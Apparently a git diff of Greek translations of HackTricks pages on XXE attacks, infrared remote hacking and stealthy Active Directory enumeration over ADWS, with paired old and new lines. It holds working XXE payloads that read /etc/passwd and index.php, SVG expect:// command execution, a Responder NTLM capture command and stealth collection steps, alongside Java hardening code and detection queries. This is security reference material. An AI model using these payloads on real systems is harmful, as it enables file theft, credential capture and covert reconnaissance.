Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η εξής εντολή:
Τέλος, το αρχείο μπορεί να συμπιεστεί για να δημιουργηθεί το κακόβουλο poc.docx αρχείο. Από τον προηγουμένως δημιουργημένο φάκελο "unzipped", θα πρέπει να εκτελεστεί η παρακάτω εντολή:
Τώρα, το δημιουργηθέν αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.
Τώρα, το δημιουργημένο αρχείο μπορεί να ανέβει στην ενδεχομένως ευάλωτη διαδικτυακή εφαρμογή, και μπορεί κανείς να ελπίζει ότι θα εμφανιστεί ένα αίτημα στα αρχεία καταγραφής του Burp Collaborator.
### Jar: πρωτόκολλο
@ -249,7 +249,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
2. Η HTTP απάντηση που περιέχει το αρχείο αποθηκεύεται προσωρινά στο σύστημα, συνήθως σε μια τοποθεσία όπως `/tmp/...`.
3. Το αρχείο στη συνέχεια εξάγεται για να αποκτήσετε πρόσβαση στα περιεχόμενά του.
4. Το συγκεκριμένο αρχείο μέσα στο αρχείο, `file.zip`, διαβάζεται.
5. Μετά τη διαδικασία, οποιαδήποτε προσωρινά αρχεία δημιουργήθηκαν κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται.
5. Μετά τη διαδικασία, οποιαδήποτε προσωρινά αρχεία που δημιουργήθηκαν κατά τη διάρκεια αυτής της διαδικασίας διαγράφονται.
Μια ενδιαφέρουσα τεχνική για να διακόψετε αυτή τη διαδικασία στο δεύτερο βήμα περιλαμβάνει τη διατήρηση της σύνδεσης του διακομιστή ανοιχτής επ' αόριστον κατά την εξυπηρέτηση του αρχείου αρχείου. Εργαλεία διαθέσιμα σε [αυτό το αποθετήριο](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) μπορούν να χρησιμοποιηθούν για αυτό το σκοπό, συμπεριλαμβανομένου ενός διακομιστή Python (`slow_http_server.py`) και ενός διακομιστή Java (`slowserver.jar`).
```xml
@ -288,13 +288,13 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
```
#### Quadratic Blowup Attack
#### Επίθεση Τετραγωνικής Εκρηκτικής Ανάπτυξης
![](<../images/image (527).png>)
#### Getting NTML
#### Λήψη NTML
Σε υπολογιστές Windows, είναι δυνατό να αποκτήσετε το NTML hash του χρήστη του web server ρυθμίζοντας έναν handler στο responder.py:
Σε υπολογιστές Windows είναι δυνατή η λήψη του NTML hash του χρήστη του web server ρυθμίζοντας έναν χειριστή responder.py:
```bash
Responder.py -I eth0 -v
```
@ -318,9 +318,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
```
Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) for more info!
### SVG - Αποστολή Αρχείου
### SVG - Ανεβάστε Αρχεία
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως τα έγγραφα γραφείου (DOCX) και οι εικόνες (SVG) βασίζονται σε XML.
Τα αρχεία που ανεβάζουν οι χρήστες σε ορισμένες εφαρμογές, τα οποία στη συνέχεια επεξεργάζονται στον διακομιστή, μπορούν να εκμεταλλευτούν ευπάθειες στον τρόπο που διαχειρίζονται τα XML ή τα αρχεία που περιέχουν XML. Κοινές μορφές αρχείων όπως έγγραφα γραφείου (DOCX) και εικόνες (SVG) βασίζονται σε XML.
Όταν οι χρήστες **ανεβάζουν εικόνες**, αυτές οι εικόνες επεξεργάζονται ή επικυρώνονται από τον διακομιστή. Ακόμα και για εφαρμογές που αναμένουν μορφές όπως PNG ή JPEG, η **βιβλιοθήκη επεξεργασίας εικόνας του διακομιστή μπορεί επίσης να υποστηρίζει εικόνες SVG**. Το SVG, ως μορφή βασισμένη σε XML, μπορεί να εκμεταλλευτεί από επιτιθέμενους για να υποβάλουν κακόβουλες εικόνες SVG, εκθέτοντας έτσι τον διακομιστή σε ευπάθειες XXE (XML External Entity).
@ -334,7 +334,7 @@ Check [https://portswigger.net/web-security/xxe](https://portswigger.net/web-sec
<image xlink:href="expect://ls"></image>
</svg>
```
Σε και τις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για την εκκίνηση επιθέσεων που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Στις δύο περιπτώσεις, η μορφή SVG χρησιμοποιείται για να εκκινήσει επιθέσεις που εκμεταλλεύονται τις δυνατότητες επεξεργασίας XML του λογισμικού του διακομιστή, υπογραμμίζοντας την ανάγκη για ισχυρή επικύρωση εισόδου και μέτρα ασφαλείας.
Δείτε [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) για περισσότερες πληροφορίες!
@ -350,7 +350,7 @@ file-upload/pdf-upload-xxe-and-cors-bypass.md
### Content-Type: Από x-www-urlencoded σε XML
Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε αυτό το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής:
Εάν ένα αίτημα POST δέχεται τα δεδομένα σε μορφή XML, θα μπορούσατε να προσπαθήσετε να εκμεταλλευτείτε μια XXE σε εκείνο το αίτημα. Για παράδειγμα, εάν ένα κανονικό αίτημα περιέχει τα εξής:
```xml
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
@ -428,7 +428,7 @@ Content-Type: application/xml;charset=UTF-8
### HTML Entities
Trick από [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Trick from [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
Μπορείτε να δημιουργήσετε μια **οντότητα μέσα σε μια οντότητα** κωδικοποιώντας την με **html entities** και στη συνέχεια να την καλέσετε για να **φορτώσετε ένα dtd**.\
Σημειώστε ότι οι **HTML Entities** που χρησιμοποιούνται πρέπει να είναι **αριθμητικές** (όπως \[σε αυτό το παράδειγμα]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
@ -448,7 +448,7 @@ DTD παράδειγμα:
### Base64
**Extract** _**index.php**_
**Εξαγωγή** _**index.php**_
```xml
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
```
@ -516,7 +516,7 @@ Content-Type: application/x-xliff+xml
```
Αυτή η προσέγγιση αποκαλύπτει ότι ο User Agent υποδεικνύει τη χρήση του Java 1.8. Ένας παρατηρούμενος περιορισμός με αυτή την έκδοση του Java είναι η αδυναμία ανάκτησης αρχείων που περιέχουν χαρακτήρα αλλαγής γραμμής, όπως το /etc/passwd, χρησιμοποιώντας την τεχνική Out of Band.
Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχοθετημένο αρχείο:
Error-Based Data Exfiltration Για να ξεπεραστεί αυτός ο περιορισμός, χρησιμοποιείται μια προσέγγιση Error-Based. Το αρχείο DTD είναι δομημένο ως εξής για να προκαλέσει ένα σφάλμα που περιλαμβάνει δεδομένα από ένα στοχευμένο αρχείο:
```xml
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@ -684,15 +684,15 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml Parameter-Entity XXE (Error-Based File Disclosure)
> [!INFO]
> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *parameter* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή.
> Η βιβλιοθήκη Python **lxml** χρησιμοποιεί **libxml2** από κάτω. Οι εκδόσεις πριν από **lxml 5.4.0 / libxml2 2.13.8** επεκτείνουν ακόμα τις *παραμέτρους* οντότητες ακόμη και όταν `resolve_entities=False`, καθιστώντας τις προσβάσιμες όταν η εφαρμογή ενεργοποιεί `load_dtd=True` και/ή `resolve_entities=True`. Αυτό επιτρέπει τα Error-Based XXE payloads που ενσωματώνουν τα περιεχόμενα τοπικών αρχείων στο μήνυμα σφάλματος του αναλυτή.
#### 1. Εκμετάλλευση lxml < 5.4.0
1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητα (π.χ. `%config_hex;`).
1. Εντοπίστε ή δημιουργήστε μια *τοπική* DTD στον δίσκο που ορίζει μια **μη καθορισμένη** παράμετρο οντότητας (π.χ. `%config_hex;`).
2. Δημιουργήστε μια εσωτερική DTD που:
* Φορτώνει την τοπική DTD με `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Επανακαθορίζει την μη καθορισμένη οντότητα έτσι ώστε να:
- Διαβάζει το στοχευμένο αρχείο (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Δημιουργεί μια άλλη παράμετρο οντότητα που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
- Δημιουργεί μια άλλη παράμετρο οντότητας που αναφέρεται σε μια **μη έγκυρη διαδρομή** που περιέχει την τιμή `%flag;` και προκαλεί σφάλμα αναλυτή (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Τέλος, επεκτείνετε `%local_dtd;` και `%eval;` έτσι ώστε ο αναλυτής να συναντήσει `%error;`, να αποτύχει να ανοίξει το `/aaa/<FLAG>` και να διαρρεύσει τη σημαία μέσα στην εξαίρεση που ρίχνεται η οποία συχνά επιστρέφεται στον χρήστη από την εφαρμογή.
```xml
<!DOCTYPE colors [
@ -712,9 +712,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Αν ο αναλυτής παραπονιέται για τους χαρακτήρες `%`/`&` μέσα στο εσωτερικό υποσύνολο, κωδικοποιήστε τους διπλά (`&#x26;#x25;``%`) για να καθυστερήσετε την επέκταση.
#### 2. Παράκαμψη της σκληροποίησης lxml 5.4.0 (libxml2 ακόμα ευάλωτο)
`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως η παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να:
`lxml` ≥ 5.4.0 απαγορεύει τις οντότητες παραμέτρων *error* όπως αυτή παραπάνω, αλλά **libxml2** εξακολουθεί να επιτρέπει την ενσωμάτωσή τους σε μια *γενική* οντότητα. Το κόλπο είναι να:
1. Διαβάσετε το αρχείο σε μια οντότητα παραμέτρων `%file`.
2. Δηλώσετε μια άλλη οντότητα παραμέτρων που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο προσδιοριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`.
2. Δηλώσετε μια άλλη οντότητα παραμέτρων που δημιουργεί μια **γενική** οντότητα `c` της οποίας ο αναγνωριστής SYSTEM χρησιμοποιεί ένα *ανύπαρκτο πρωτόκολλο* όπως `meow://%file;`.
3. Τοποθετήστε `&c;` στο σώμα XML. Όταν ο αναλυτής προσπαθεί να αποδεσμεύσει το `meow://…` αποτυγχάνει και αντικατοπτρίζει την πλήρη URI συμπεριλαμβανομένων των περιεχομένων του αρχείου στο μήνυμα σφάλματος.
```xml
<!DOCTYPE colors [
@ -738,7 +738,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
### Java DocumentBuilderFactory hardening example
Οι εφαρμογές Java συχνά αναλύουν XML χρησιμοποιώντας το `DocumentBuilderFactory`. Από προεπιλογή, το εργοστάσιο **επιτρέπει την επίλυση εξωτερικών οντοτήτων**, καθιστώντας το ευάλωτο σε XXE και SSRF αν δεν έχουν οριστεί επιπλέον σημαίες σκληροποίησης:
Οι εφαρμογές Java συχνά αναλύουν XML χρησιμοποιώντας το `DocumentBuilderFactory`. Από προεπιλογή, το εργοστάσιο **επιτρέπει την επίλυση εξωτερικών οντοτήτων**, καθιστώντας το ευάλωτο σε XXE και SSRF αν δεν έχουν οριστεί επιπλέον σημαίες σκληρύνσης:
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@ -765,7 +765,7 @@ DocumentBuilder builder = dbf.newDocumentBuilder();
```
Αν η εφαρμογή πρέπει να υποστηρίζει DTDs εσωτερικά, κρατήστε το `disallow-doctype-decl` απενεργοποιημένο αλλά **πάντα** αφήστε τις δύο δυνατότητες `external-*-entities` ρυθμισμένες σε `false`. Ο συνδυασμός αυτός αποτρέπει κλασικά payloads αποκάλυψης αρχείων (`file:///etc/passwd`) καθώς και δικτυακά SSRF vectors (`http://169.254.169.254/…`, πρωτόκολλο `jar:`, κ.λπ.).
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον προσομοιωτή Java S3 *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που εμφανίζεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο σώμα XML στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
Μελέτη περίπτωσης από τον πραγματικό κόσμο: **CVE-2025-27136** στον προσομοιωτή Java S3 *LocalS3* χρησιμοποίησε τον ευάλωτο κατασκευαστή που φαίνεται παραπάνω. Ένας μη αυθεντικοποιημένος επιτιθέμενος θα μπορούσε να προμηθεύσει ένα κατεργασμένο σώμα XML στο endpoint `CreateBucketConfiguration` και να έχει τον διακομιστή να ενσωματώνει τοπικά αρχεία (για παράδειγμα `/etc/passwd`) στην HTTP απόκριση.
## Αναφορές

View File

@ -39,7 +39,7 @@
**4. Συνδυασμός των προηγούμενων και άλλων εξωτικών**
> [!TIP]
> Υπάρχουν πρωτόκολλα IR που **προσπαθούν να γίνουν καθολικά** για διάφορους τύπους συσκευών. Τα πιο γνωστά είναι τα RC5 και NEC. Δυστυχώς, το πιο γνωστό **δεν σημαίνει το πιο κοινό**. Στο περιβάλλον μου, συνάντησα μόνο δύο τηλεχειριστήρια NEC και κανένα RC5.
> Υπάρχουν πρωτόκολλα IR που **προσπαθούν να γίνουν καθολικά** για αρκετούς τύπους συσκευών. Τα πιο διάσημα είναι τα RC5 και NEC. Δυστυχώς, το πιο διάσημο **δεν σημαίνει το πιο κοινό**. Στο περιβάλλον μου, συνάντησα μόνο δύο τηλεχειριστήρια NEC και κανένα RC5.
>
> Οι κατασκευαστές αγαπούν να χρησιμοποιούν τα δικά τους μοναδικά πρωτόκολλα IR, ακόμη και εντός της ίδιας κατηγορίας συσκευών (για παράδειγμα, TV-boxes). Επομένως, τα τηλεχειριστήρια από διαφορετικές εταιρείες και μερικές φορές από διαφορετικά μοντέλα της ίδιας εταιρείας, δεν μπορούν να λειτουργήσουν με άλλες συσκευές του ίδιου τύπου.
@ -53,7 +53,7 @@
Στη συνέχεια, μεταδίδονται τα δεδομένα. Η δομή, η προάγγελος και η μέθοδος κωδικοποίησης bit καθορίζονται από το συγκεκριμένο πρωτόκολλο.
Το **πρωτόκολλο NEC IR** περιέχει μια σύντομη εντολή και έναν κωδικό επανάληψης, ο οποίος αποστέλλεται ενώ το κουμπί είναι πατημένο. Και η εντολή και ο κωδικός επανάληψης έχουν την ίδια προάγγελο στην αρχή.
**Το πρωτόκολλο NEC IR** περιέχει μια σύντομη εντολή και έναν κωδικό επανάληψης, ο οποίος αποστέλλεται ενώ το κουμπί είναι πατημένο. Και η εντολή και ο κωδικός επανάληψης έχουν την ίδια προάγγελο στην αρχή.
Η **εντολή NEC**, εκτός από την προάγγελο, αποτελείται από ένα byte διεύθυνσης και ένα byte αριθμού εντολής, με το οποίο η συσκευή καταλαβαίνει τι πρέπει να εκτελέσει. Τα byte διεύθυνσης και αριθμού εντολής επαναλαμβάνονται με αντίστροφες τιμές, για να ελέγξουν την ακεραιότητα της μετάδοσης. Υπάρχει ένα επιπλέον bit διακοπής στο τέλος της εντολής.
@ -76,13 +76,13 @@
flipper-zero/fz-infrared.md
{{#endref}}
### Υποκατάσταση Smart-TV / Set-top Box (EvilScreen)
### Ανάληψη Smart-TV / Set-top Box (EvilScreen)
Πρόσφατη ακαδημαϊκή εργασία (EvilScreen, 2022) απέδειξε ότι **οι τηλεχειριστήρες πολλαπλών καναλιών που συνδυάζουν Υπέρυθρη με Bluetooth ή Wi-Fi μπορούν να καταχραστούν για να καταλάβουν πλήρως τις σύγχρονες smart-TVs**. Η επίθεση αλυσίδων υψηλής προνομιακής κωδικοποίησης IR με πιστοποιημένα πακέτα Bluetooth, παρακάμπτοντας την απομόνωση καναλιών και επιτρέποντας αυθαίρετες εκκινήσεις εφαρμογών, ενεργοποίηση μικροφώνου ή εργοστασιακή επαναφορά χωρίς φυσική πρόσβαση. Οκτώ mainstream τηλεοράσεις από διαφορετικούς προμηθευτές — συμπεριλαμβανομένου ενός μοντέλου Samsung που ισχυρίζεται συμμόρφωση με το ISO/IEC 27001επιβεβαιώθηκαν ευάλωτες. Η μείωση απαιτεί διορθώσεις firmware από τον προμηθευτή ή πλήρη απενεργοποίηση των μη χρησιμοποιούμενων δέκτων IR.
Πρόσφατη ακαδημαϊκή εργασία (EvilScreen, 2022) απέδειξε ότι **οι τηλεχειριστήρες πολλαπλών καναλιών που συνδυάζουν Υπέρυθρη με Bluetooth ή Wi-Fi μπορούν να καταχραστούν για να αναλάβουν πλήρως σύγχρονες smart-TVs**. Η επίθεση συνδυάζει κωδικούς υπηρεσίας IR υψηλής προνομίας με πιστοποιημένα πακέτα Bluetooth, παρακάμπτοντας την απομόνωση καναλιών και επιτρέποντας αυθαίρετες εκκινήσεις εφαρμογών, ενεργοποίηση μικροφώνου ή εργοστασιακή επαναφορά χωρίς φυσική πρόσβαση. Οκτώ mainstream τηλεοράσεις από διαφορετικούς προμηθευτές — συμπεριλαμβανομένου ενός μοντέλου Samsung που ισχυρίζεται ότι συμμορφώνεται με το ISO/IEC 27001επιβεβαιώθηκαν ευάλωτες. Η μείωση απαιτεί διορθώσεις firmware από τον προμηθευτή ή πλήρη απενεργοποίηση των μη χρησιμοποιούμενων δέκτων IR.
### Εξαγωγή Δεδομένων μέσω IR LEDs (οικογένεια aIR-Jumper)
Οι κάμερες ασφαλείας, οι δρομολογητές ή ακόμη και κακόβουλα USB sticks περιλαμβάνουν συχνά **LED υπέρυθρης νυχτερινής όρασης**. Η έρευνα δείχνει ότι το κακόβουλο λογισμικό μπορεί να τροποποιήσει αυτά τα LED (<1020 kbit/s με απλή OOK) για να **εξάγει μυστικά μέσω τοίχων και παραθύρων** σε μια εξωτερική κάμερα τοποθετημένη δεκάδες μέτρα μακριά. Επειδή το φως είναι εκτός του ορατού φάσματος, οι χειριστές σπάνια το παρατηρούν. Αντεπίθεσεις:
Οι κάμερες ασφαλείας, οι δρομολογητές ή ακόμη και κακόβουλα USB sticks περιλαμβάνουν συχνά **LED υπέρυθρης νυχτερινής όρασης**. Η έρευνα δείχνει ότι το κακόβουλο λογισμικό μπορεί να τροποποιήσει αυτά τα LED (<1020 kbit/s με απλή OOK) για να **εξάγει μυστικά μέσω τοίχων και παραθύρων** σε μια εξωτερική κάμερα τοποθετημένη δεκάδες μέτρα μακριά. Επειδή το φως είναι εκτός του ορατού φάσματος, οι χειριστές σπάνια το παρατηρούν. Αντεπίθετα μέτρα:
* Φυσική ασπίδα ή αφαίρεση LED IR σε ευαίσθητες περιοχές
* Παρακολούθηση του κύκλου εργασίας LED κάμερας και της ακεραιότητας του firmware
@ -130,12 +130,12 @@ irsend SEND_ONCE samsung KEY_POWER
* Απενεργοποιήστε ή καλύψτε τους δέκτες IR σε συσκευές που αναπτύσσονται σε δημόσιους χώρους όταν δεν απαιτείται.
* Επιβάλλετε *ζευγάρωμα* ή κρυπτογραφικούς ελέγχους μεταξύ smart-TVs και τηλεχειριστηρίων; απομονώστε τους προνομιακούς "κωδικούς υπηρεσίας".
* Εγκαταστήστε φίλτρα IR-cut ή ανιχνευτές συνεχούς κύματος γύρω από ταξινομημένες περιοχές για να σπάσετε τα οπτικά κρυφά κανάλια.
* Εγκαταστήστε φίλτρα IR-cut ή ανιχνευτές συνεχούς κύματος γύρω από ταξινομημένες περιοχές για να σπάσετε οπτικά κρυφά κανάλια.
* Παρακολουθήστε την ακεραιότητα του firmware των καμερών/IoT συσκευών που εκθέτουν ελεγχόμενα LED IR.
## Αναφορές
- [Flipper Zero Infrared blog post](https://blog.flipperzero.one/infrared/)
- EvilScreen: Υποκατάσταση Smart TV μέσω μίμησης τηλεχειριστηρίου (arXiv 2210.03014)
- EvilScreen: Ανάληψη Smart TV μέσω μίμησης τηλεχειριστηρίου (arXiv 2210.03014)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -8,11 +8,11 @@
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
Δεδομένου ότι η κίνηση είναι ενσωματωμένη μέσα σε αυτά τα δυαδικά πλαίσια SOAP και ταξιδεύει μέσω μιας ασυνήθιστης θύρας, **η αρίθμηση μέσω ADWS είναι πολύ λιγότερο πιθανό να ελεγχθεί, φιλτραριστεί ή υπογραφεί από την κλασική κίνηση LDAP/389 & 636**. Για τους χειριστές αυτό σημαίνει:
Επειδή η κίνηση είναι ενσωματωμένη μέσα σε αυτά τα δυαδικά πλαίσια SOAP και ταξιδεύει μέσω μιας ασυνήθιστης θύρας, **η αρίθμηση μέσω ADWS είναι πολύ λιγότερο πιθανό να ελεγχθεί, φιλτραριστεί ή υπογραφεί από την κλασική κίνηση LDAP/389 & 636**. Για τους χειριστές αυτό σημαίνει:
* Πιο διακριτική αναγνώριση Οι ομάδες Blue συχνά επικεντρώνονται σε ερωτήματα LDAP.
* Ελευθερία συλλογής από **μη Windows hosts (Linux, macOS)** μέσω tunneling 9389/TCP μέσω ενός SOCKS proxy.
* Τα ίδια δεδομένα που θα αποκτούσατε μέσω LDAP (χρήστες, ομάδες, ACLs, σχήμα κ.λπ.) και η δυνατότητα εκτέλεσης **εγγραφών** (π.χ. `msDs-AllowedToActOnBehalfOfOtherIdentity` για **RBCD**).
* Ελευθερία συλλογής από **μη Windows hosts (Linux, macOS)** μέσω σήραγγας 9389/TCP μέσω ενός SOCKS proxy.
* Τα ίδια δεδομένα που θα αποκτούσατε μέσω LDAP (χρήστες, ομάδες, ACLs, σχήμα, κ.λπ.) και η δυνατότητα εκτέλεσης **εγγραφών** (π.χ. `msDs-AllowedToActOnBehalfOfOtherIdentity` για **RBCD**).
> ΣΗΜΕΙΩΣΗ: Το ADWS χρησιμοποιείται επίσης από πολλά εργαλεία RSAT GUI/PowerShell, οπότε η κίνηση μπορεί να συγχωνευθεί με νόμιμες δραστηριότητες διαχειριστή.
@ -22,11 +22,11 @@
### Κύρια Χαρακτηριστικά
* Υποστηρίζει **proxying μέσω SOCKS** (χρήσιμο από C2 implants).
* Υποστηρίζει **proxy μέσω SOCKS** (χρήσιμο από C2 implants).
* Λεπτομερείς φίλτρα αναζήτησης ταυτόσημα με LDAP `-q '(objectClass=user)'`.
* Προαιρετικές **εγγραφές** ( `--set` / `--delete` ).
* **Λειτουργία εξόδου BOFHound** για άμεση εισαγωγή στο BloodHound.
* Σημαία `--parse` για να ομορφύνει τα timestamps / `userAccountControl` όταν απαιτείται ανθρώπινη αναγνωσιμότητα.
* Σημαία `--parse` για να ομορφύνει τις χρονικές σφραγίδες / `userAccountControl` όταν απαιτείται ανθρώπινη αναγνωσιμότητα.
### Εγκατάσταση (host χειριστή)
```bash
@ -34,7 +34,7 @@ python3 -m pip install soapy-adws # or git clone && pip install -r requirement
```
## Stealth AD Collection Workflow
Η παρακάτω ροή εργασίας δείχνει πώς να καταγράψετε **domain & ADCS objects** μέσω ADWS, να τα μετατρέψετε σε BloodHound JSON και να αναζητήσετε διαδρομές επιθέσεων με βάση πιστοποιητικά όλα από Linux:
Η παρακάτω ροή εργασίας δείχνει πώς να καταγράψετε **αντικείμενα τομέα & ADCS** μέσω ADWS, να τα μετατρέψετε σε BloodHound JSON και να κυνηγήσετε διαδρομές επιθέσεων με βάση πιστοποιητικά όλα από το Linux:
1. **Tunnel 9389/TCP** από το δίκτυο στόχο στο μηχάνημά σας (π.χ. μέσω Chisel, Meterpreter, SSH dynamic port-forward, κ.λπ.). Εξάγετε `export HTTPS_PROXY=socks5://127.0.0.1:1080` ή χρησιμοποιήστε το `--proxyHost/--proxyPort` του SoaPy.
@ -88,15 +88,15 @@ New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters'
```kql
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
```
## Περίληψη Εργαλείων
## Tooling Summary
| Σκοπός | Εργαλείο | Σημειώσεις |
|--------|----------|------------|
|---------|------|-------|
| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write |
| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Μετατρέπει τα logs του SoaPy/ldapsearch |
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Μπορεί να προξενηθεί μέσω του ίδιου SOCKS |
## Αναφορές
## References
* [SpecterOps Make Sure to Use SOAP(y) An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
* [SoaPy GitHub](https://github.com/logangoins/soapy)

View File

@ -62,7 +62,7 @@ SharpHound.exe --Stealth --LDAP # Low noise LDAP only
## Group3r
[Group3r](https://github.com/Group3r/Group3r) καταμετρά **Group Policy Objects** και επισημαίνει κακές ρυθμίσεις.
[Group3r](https://github.com/Group3r/Group3r) καταγράφει **Group Policy Objects** και επισημαίνει κακές ρυθμίσεις.
```bash
# Execute inside the domain
Group3r.exe -f gpo.log # -s to stdout

View File

@ -1,6 +1,6 @@
/**
* HackTricks Training Discounts
*/
(() => {
@ -9,13 +9,13 @@
const TXT = 'Click here for HT Summer Discounts, Last Days!';
const URL = 'https://training.hacktricks.xyz';
/* Stop if user already dismissed */
// Stop if user already dismissed
if (localStorage.getItem(KEY) === 'true') return;
/* Quick helper */
// Quick helper
const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css });
/* --- Overlay (blur + dim) --- */
// --- Overlay (blur + dim) ---
const overlay = $('div', `
position: fixed; inset: 0;
background: rgba(0,0,0,.4);
@ -24,7 +24,7 @@
z-index: 10000;
`);
/* --- Modal --- */
// --- Modal ---
const modal = $('div', `
max-width: 90vw; width: 480px;
background: #fff; border-radius: 12px; overflow: hidden;
@ -33,10 +33,10 @@
display: flex; flex-direction: column; align-items: stretch;
`);
/* --- Title bar (link + close) --- */
// --- Title bar (link + close) ---
const titleBar = $('div', `
position: relative;
padding: 1rem 2.5rem 1rem 1rem; /* room for the close button */
padding: 1rem 2.5rem 1rem 1rem; // room for the close button
text-align: center;
background: #222; color: #fff;
font-size: 1.3rem; font-weight: 700;
@ -53,7 +53,7 @@
link.textContent = TXT;
titleBar.appendChild(link);
/* Close "X" (no persistence) */
// Close "X" (no persistence)
const closeBtn = $('button', `
position: absolute; top: .25rem; right: .5rem;
background: transparent; border: none;
@ -65,11 +65,11 @@
closeBtn.onclick = () => overlay.remove();
titleBar.appendChild(closeBtn);
/* --- Image --- */
// --- Image ---
const img = $('img');
img.src = IMG; img.alt = TXT; img.style.width = '100%';
/* --- Checkbox row --- */
// --- Checkbox row ---
const label = $('label', `
display: flex; align-items: center; justify-content: center; gap: .6rem;
padding: 1rem; font-size: 1rem; color: #222; cursor: pointer;
@ -83,7 +83,7 @@
};
label.append(cb, document.createTextNode("Don't show again"));
/* --- Assemble & inject --- */
// --- Assemble & inject ---
modal.append(titleBar, img, label);
overlay.appendChild(modal);
